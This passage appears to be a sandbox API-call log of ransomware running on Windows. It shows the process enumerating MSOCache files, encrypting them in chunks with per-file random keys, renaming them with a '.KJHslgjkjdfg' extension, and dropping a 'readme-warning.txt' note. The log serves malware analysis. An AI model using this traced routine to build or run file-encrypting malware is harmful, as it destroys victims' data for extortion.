nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0129.309] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0129.309] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0129.309] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0129.309] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0129.309] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0129.309] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.309] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.309] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x8f8, lpOverlapped=0x0) returned 1 [0129.309] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x900, dwBufLen=0x900 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x900) returned 1 [0129.310] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.310] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x900, lpOverlapped=0x0) returned 1 [0129.310] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.310] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.310] SetEndOfFile (hFile=0x124) returned 1 [0129.313] GetProcessHeap () returned 0x2a0000 [0129.313] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0129.313] GetProcessHeap () returned 0x2a0000 [0129.313] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0129.313] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0129.315] CloseHandle (hObject=0x124) returned 1 [0129.315] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0129.315] GetProcessHeap () returned 0x2a0000 [0129.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0129.315] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0129.315] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290f330 | out: pbData=0x2bf528, pdwDataLen=0x290f330) returned 1 [0129.316] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.316] GetProcessHeap () returned 0x2a0000 [0129.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf600 [0129.316] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0129.316] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf600, pdwDataLen=0x290f330 | out: pbData=0x2bf600, pdwDataLen=0x290f330) returned 1 [0129.316] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.316] GetProcessHeap () returned 0x2a0000 [0129.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f02c8 [0129.316] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0129.316] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f02c8, pdwDataLen=0x290f330 | out: pbData=0x2f02c8, pdwDataLen=0x290f330) returned 1 [0129.316] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.316] GetProcessHeap () returned 0x2a0000 [0129.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf6d8 [0129.316] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0129.316] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf6d8, pdwDataLen=0x290ef10 | out: pbData=0x2bf6d8, pdwDataLen=0x290ef10) returned 1 [0129.316] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.316] GetProcessHeap () returned 0x2a0000 [0129.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0129.316] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0129.316] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0129.316] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.317] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0129.317] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0129.317] RegCloseKey (hKey=0x124) returned 0x0 [0129.317] GetProcessHeap () returned 0x2a0000 [0129.317] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf6d8 | out: hHeap=0x2a0000) returned 1 [0129.317] GetProcessHeap () returned 0x2a0000 [0129.317] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0129.317] GetProcessHeap () returned 0x2a0000 [0129.317] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0129.317] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0129.317] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0129.317] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.317] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0129.317] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0129.318] GetProcessHeap () returned 0x2a0000 [0129.318] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0129.318] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0129.318] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0129.318] GetProcessHeap () returned 0x2a0000 [0129.318] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f0690 [0129.318] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0129.318] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0129.318] WriteFile (in: hFile=0x124, lpBuffer=0x2f0690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f0690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0129.319] CloseHandle (hObject=0x124) returned 1 [0129.321] GetProcessHeap () returned 0x2a0000 [0129.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f02c8 | out: hHeap=0x2a0000) returned 1 [0129.321] GetProcessHeap () returned 0x2a0000 [0129.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f0690 | out: hHeap=0x2a0000) returned 1 [0129.321] GetProcessHeap () returned 0x2a0000 [0129.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf600 | out: hHeap=0x2a0000) returned 1 [0129.321] GetProcessHeap () returned 0x2a0000 [0129.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0129.321] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0129.321] GetProcessHeap () returned 0x2a0000 [0129.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0129.321] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0129.321] GetProcessHeap () returned 0x2a0000 [0129.321] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0129.321] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0129.339] GetProcessHeap () returned 0x2a0000 [0129.339] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0129.339] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0129.340] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0129.340] GetProcessHeap () returned 0x2a0000 [0129.340] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0129.340] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0129.340] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2503680) returned 1 [0129.340] GetProcessHeap () returned 0x2a0000 [0129.340] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0129.340] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0129.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.340] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0129.340] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.340] GetProcessHeap () returned 0x2a0000 [0129.340] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0129.340] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0129.341] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.341] WriteFile (in: hFile=0x124, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0129.345] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0129.345] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0129.345] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0129.345] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0129.346] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0129.346] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0129.346] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.346] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0129.346] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0129.360] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0129.366] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.366] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0129.368] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.369] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0129.369] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0129.369] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0129.382] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0129.385] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.385] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0129.387] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.387] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0129.387] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0129.388] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0129.395] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0129.436] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.436] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0129.437] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.437] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0129.437] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.437] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.437] SetEndOfFile (hFile=0x124) returned 1 [0129.441] GetProcessHeap () returned 0x2a0000 [0129.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0129.441] GetProcessHeap () returned 0x2a0000 [0129.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0129.441] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.kjhslgjkjdfg")) returned 1 [0129.442] CloseHandle (hObject=0x124) returned 1 [0129.442] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0129.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0129.442] GetProcessHeap () returned 0x2a0000 [0129.442] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0129.442] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0129.442] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0129.443] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0129.460] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0129.460] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.460] GetProcessHeap () returned 0x2a0000 [0129.460] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0129.460] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0129.460] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.460] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0129.460] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0129.460] WriteFile (in: hFile=0x124, 